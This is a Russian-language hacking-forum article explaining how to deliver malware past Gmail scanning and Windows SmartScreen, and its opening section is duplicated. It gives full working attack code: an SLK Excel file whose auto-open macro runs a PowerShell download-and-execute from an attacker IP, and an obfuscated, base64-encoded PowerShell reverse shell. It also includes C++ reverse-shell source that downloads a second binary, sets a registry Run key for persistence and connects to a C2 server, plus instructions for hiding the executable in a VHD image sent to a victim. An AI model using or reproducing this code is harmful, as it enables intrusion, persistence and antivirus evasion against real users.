Введение
Приветствую всех! В этой статье мы рассмотрим метод обхода анализа отравляемых нами файлов почтовой службой Gmail и встроенным в Windows компонентом Microsoft SmartScreen. Недавно
Основная часть
Для начала создадим MS Excel подобный файл (.slk) с полезной нагрузкой и попытаемся отправить его нашей жертве через Gmail.
В текстовом редакторе пишем следующий код и сохраняем с расширением .slk
PS: Методом тыка было выяснено что строка длиннее этой не работает, учитывайте это.
Как вы уже догадались это WebDelivry, следовательно сам payload необходимо разместить где то на сервере. Я буду использовать этот однострочный reverse cmd shell в исполнении
Переводим наш IP адрес в HEX
Вставляем в код:
Порт находится по середине:
Переводим все это в base64 (скрипт можно скачать тут)
Не стандартно, но именно такой подход создает всего лишь один процесс powershell, вместо двух при использовании powershell -enc .... Если не понятно, посмотрите видео.
У нас получился 100% FUD обратный cmd shell. В боевых условиях следовало бы разместить это на облачных хостерах таких как githab, gitlab, pastebin и т.д, но для лабораторных тестов сойдет и локальный http сервер.
Теперь попытаемся отправить полученный .slk файл по почте нашей жертве. Кстати .slk можно сконвертировать в обычный .xls, для этого откройте его в Excel и сохраните в формате Excel 2003, результат этого видите ниже.
Gmail не дает нам оправить .xls, потому что обнаружил в нем "вирус". Ну что же, прикрутим еще экзешник.
Снова тот же Paranoid Ninja и 100% FUD reverse cmd shell но только на C++. Давайте допишим к нему немного функционала, а именно загрузку файлов и редактирование реестра Windows, что бы закрепиться в системе при первом же запуске.
Я скомпилировал программу как в своих предыдущих статьях, с сертификатом и файлом manifest.
В целях безопасности Gmail блокирует файлы .exe, даже в нутри архива RAR.
Создадим виртуальный диск VHD и отправим наши файл в нем.
Мы успешно справились с поставленной целью. Как было сказано выше, .exe в нутри образа vhd запускается по двойному клику, без характерного преудпреждения о том, что запуская данную программу мы подвергаем компьютер риску. А Excel выдаст другое, более приемлемое предупреждение на счет макросов. Подробнее смотрите в видео.
Первоисточники использованных материалов:
С вами был gushmazuko, до новых встреч!
Приветствую всех! В этой статье мы рассмотрим метод обхода анализа отравляемых нами файлов почтовой службой Gmail и встроенным в Windows компонентом Microsoft SmartScreen. Недавно
Ссылка скрыта от гостей
что файлы внутри виртуальных дисков VHD и VHDX не сканируются антивирусами. И даже при запуске подозрительных файлов внутри таких образов, служба SmartScreen не выдает абсолютно никаких предупреждений пользователю. А почтовые сервисы вовсе не умеют их читать и позволяют беспрепятственно передавать внутри них вирусы.Основная часть
Для начала создадим MS Excel подобный файл (.slk) с полезной нагрузкой и попытаемся отправить его нашей жертве через Gmail.
В текстовом редакторе пишем следующий код и сохраняем с расширением .slk
Bash:
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;EEXEC("pOwERsHELL -eX b -W 1 -nOP -nONi IEX((nEW-obJECT nEt.wEBClIEnT).dOWNloADstRiNG('ht'+'tp://10.100.10.100/PaYloAD.txt'))")
C;X1;Y102;EHALT()
E
PS: Методом тыка было выяснено что строка длиннее этой не работает, учитывайте это.
Как вы уже догадались это WebDelivry, следовательно сам payload необходимо разместить где то на сервере. Я буду использовать этот однострочный reverse cmd shell в исполнении
Ссылка скрыта от гостей
.Переводим наш IP адрес в HEX
Bash:
printf "%x,%x,%x,%x\n" 10 100 10 100
Bash:
while ($true) {$px = "a","64","a","64";$p = ($px | ForEach { [convert]::ToInt32($_,16) }) -join '.';$w = "GET /index.html HTTP/1.1`r`nHost: $p`r`nMozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0`r`nAccept: text/html`r`n`r`n";$s = [System.Text.ASCIIEncoding];[byte[]]$b = 0..65535|%{0};$x = "n-eiorvsxpk5";Set-alias $x ($x[$true-10] + ($x[[byte]("0x" + "FF") - 265]) + $x[[byte]("0x" + "9a") - 158]);$y = New-Object System.Net.Sockets.TCPClient($p,8443);$z = $y.GetStream();$d = $s::UTF8.GetBytes($w);$z.Write($d, 0, $d.Length);$t = (n-eiorvsxpk5 whoami) + "$ ";while(($l = $z.Read($b, 0, $b.Length)) -ne 0){;$v = (New-Object -TypeName $s).GetString($b,0, $l);$d = $s::UTF8.GetBytes((n-eiorvsxpk5 $v 2>&1 | Out-String )) + $s::UTF8.GetBytes($t);$z.Write($d, 0, $d.Length);}$y.Close();Start-Sleep -Seconds 5}
Порт находится по середине:
Bash:
$y = New-Object System.Net.Sockets.TCPClient($p,8443);
Переводим все это в base64 (скрипт можно скачать тут)
Bash:
IEX([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAJABwAHgAIAA9ACAAIgBhACIALAAiADYANAAiACwAIgBhACIALAAiADYANAAiADsAJABwACAAPQAgACgAJABwAHgAIAB8ACAARgBvAHIARQBhAGMAaAAgAHsAIABbAGMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEkAbgB0ADMAMgAoACQAXwAsADEANgApACAAfQApACAALQBqAG8AaQBuACAAJwAuACcAOwAkAHcAIAA9ACAAIgBHAEUAVAAgAC8AaQBuAGQAZQB4AC4AaAB0AG0AbAAgAEgAVABUAFAALwAxAC4AMQBgAHIAYABuAEgAbwBzAHQAOgAgACQAcABgAHIAYABuAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADEAMAAuADAAOwAgAFcATwBXADYANAA7ACAAcgB2ADoANQA2AC4AMAApACAARwBlAGMAawBvAC8AMgAwADEAMAAwADEAMAAxACAARgBpAHIAZQBmAG8AeAAvADUANgAuADAAYAByAGAAbgBBAGMAYwBlAHAAdAA6ACAAdABlAHgAdAAvAGgAdABtAGwAYAByAGAAbgBgAHIAYABuACIAOwAkAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnAF0AOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwAkAHgAIAA9ACAAIgBuAC0AZQBpAG8AcgB2AHMAeABwAGsANQAiADsAUwBlAHQALQBhAGwAaQBhAHMAIAAkAHgAIAAoACQAeABbACQAdAByAHUAZQAtADEAMABdACAAKwAgACgAJAB4AFsAWwBiAHkAdABlAF0AKAAiADAAeAAiACAAKwAgACIARgBGACIAKQAgAC0AIAAyADYANQBdACkAIAArACAAJAB4AFsAWwBiAHkAdABlAF0AKAAiADAAeAAiACAAKwAgACIAOQBhACIAKQAgAC0AIAAxADUAOABdACkAOwAkAHkAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAkAHAALAA0ADQANAA0ACkAOwAkAHoAIAA9ACAAJAB5AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAJABkACAAPQAgACQAcwA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAdwApADsAJAB6AC4AVwByAGkAdABlACgAJABkACwAIAAwACwAIAAkAGQALgBMAGUAbgBnAHQAaAApADsAJAB0ACAAPQAgACgAbgAtAGUAaQBvAHIAdgBzAHgAcABrADUAIAB3AGgAbwBhAG0AaQApACAAKwAgACIAJAAgACIAOwB3AGgAaQBsAGUAKAAoACQAbAAgAD0AIAAkAHoALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJAB2ACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAJABzACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAgACQAbAApADsAJABkACAAPQAgACQAcwA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAbgAtAGUAaQBvAHIAdgBzAHgAcABrADUAIAAkAHYAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApACkAIAArACAAJABzADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJAB0ACkAOwAkAHoALgBXAHIAaQB0AGUAKAAkAGQALAAgADAALAAgACQAZAAuAEwAZQBuAGcAdABoACkAOwB9ACQAeQAuAEMAbABvAHMAZQAoACkAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1AH0A')))
У нас получился 100% FUD обратный cmd shell. В боевых условиях следовало бы разместить это на облачных хостерах таких как githab, gitlab, pastebin и т.д, но для лабораторных тестов сойдет и локальный http сервер.
Теперь попытаемся отправить полученный .slk файл по почте нашей жертве. Кстати .slk можно сконвертировать в обычный .xls, для этого откройте его в Excel и сохраните в формате Excel 2003, результат этого видите ниже.
Gmail не дает нам оправить .xls, потому что обнаружил в нем "вирус". Ну что же, прикрутим еще экзешник.
Снова тот же Paranoid Ninja и 100% FUD reverse cmd shell но только на C++. Давайте допишим к нему немного функционала, а именно загрузку файлов и редактирование реестра Windows, что бы закрепиться в системе при первом же запуске.
C++:
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <urlmon.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "urlmon.lib")
#define DEFAULT_BUFLEN 1024
void RunShell(char* C2Server, int C2Port) {
while(true) {
Sleep(5000);
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server);
addr.sin_port = htons(C2Port);
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char Process[] = "c:\\WInDOWs\\sYSteM32\\cMd.eXe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
if (strcmp(RecvData, "exit\n") == 0) {
exit(0);
}
}
}
}
}
void DownlaodFile(LPCTSTR url, LPCTSTR path) {
URLDownloadToFile(NULL, url, path, 0, NULL);
}
void RegistryWrite(LPCTSTR subkey,LPCTSTR name,DWORD type,const char* value ) {
HKEY key;
RegOpenKey(HKEY_CURRENT_USER,subkey,&key);
RegSetValueEx(key, name, 0, type, (LPBYTE)value, strlen(value)*sizeof(char));
RegCloseKey(key);
}
int main(int argc, char **argv) {
FreeConsole();
char host[] = "10.100.10.100";
int port = 8443;
char* path = getenv("APPDATA");
char filename[] = "\\ninja.exe";
strcat(path, filename);
DownlaodFile("http://10.100.10.100/ninja.exe",path);
RegistryWrite("Software\\Microsoft\\Windows\\CurrentVersion\\Run","ForCodeby",REG_SZ,path);
RunShell(host, port);
return 0;
}
Я скомпилировал программу как в своих предыдущих статьях, с сертификатом и файлом manifest.
Bash:
i686-w64-mingw32-g++ prometheus.cpp SecurityHealthSystray/SecurityHealthSystray.res -o ninja.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -static -lurlmon
В целях безопасности Gmail блокирует файлы .exe, даже в нутри архива RAR.
Создадим виртуальный диск VHD и отправим наши файл в нем.
Мы успешно справились с поставленной целью. Как было сказано выше, .exe в нутри образа vhd запускается по двойному клику, без характерного преудпреждения о том, что запуская данную программу мы подвергаем компьютер риску. А Excel выдаст другое, более приемлемое предупреждение на счет макросов. Подробнее смотрите в видео.
Первоисточники использованных материалов:
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
С вами был gushmazuko, до новых встреч!
Последнее редактирование: